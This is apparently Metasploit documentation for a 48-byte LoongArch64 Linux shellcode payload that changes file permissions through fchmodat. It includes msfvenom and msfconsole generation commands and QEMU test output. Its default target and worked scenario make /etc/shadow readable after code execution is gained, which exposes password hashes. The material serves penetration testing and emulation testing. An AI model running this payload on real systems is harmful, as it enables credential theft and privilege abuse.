Chmod

Vulnerable Application

This payload targets Linux systems running on the LoongArch64 architecture. It uses the fchmodat syscall (syscall number 53) to change the permissions of a specified file, then exits cleanly via the exit syscall (syscall number 93).

The payload is a 48-byte position-independent shellcode stub. It is suitable for use in exploits targeting LoongArch64 Linux systems where arbitrary code execution has been achieved.

Verification Steps

1. Generate the payload as an ELF executable:
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   ./msfvenom -p linux/loongarch64/chmod FILE=/tmp/testfile MODE=0777 -f elf -o chmod.elf
   chmod +x chmod.elf
   

2. Run it under QEMU user-mode emulation:
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   qemu-loongarch64 -strace ./chmod.elf
   

3. Confirm the fchmodat syscall was made and returned 0:
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   fchmodat(AT_FDCWD,"/tmp/testfile",0777,0) = 0
   exit(0)
   

4. Verify the file permissions changed:
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   ls -la /tmp/testfile
   

Options

FILE

The full path of the file to chmod on the target system. Defaults to /etc/shadow.

MODE

The desired file permissions in octal notation (e.g. 0777, 0666, 0644). Defaults to 0666. Must not exceed 0xFFF (octal 07777).

Scenarios

LoongArch64 Linux — making /etc/shadow world-readable

This scenario demonstrates using the payload to make /etc/shadow readable after gaining code execution on a LoongArch64 Linux target.

Version and OS: LoongArch64 Linux (tested with qemu-loongarch64)

Generate the payload:

msf6 > use payload/linux/loongarch64/chmod
msf6 payload(linux/loongarch64/chmod) > set FILE /etc/shadow
FILE => /etc/shadow
msf6 payload(linux/loongarch64/chmod) > set MODE 0644
MODE => 0644
msf6 payload(linux/loongarch64/chmod) > generate -f elf -o /tmp/chmod.elf
[*] Writing 168 bytes to /tmp/chmod.elf...

Run on target (or via QEMU for testing):

$ qemu-loongarch64 -strace /tmp/chmod.elf
fchmodat(AT_FDCWD,"/etc/shadow",0644,0) = 0
exit(0)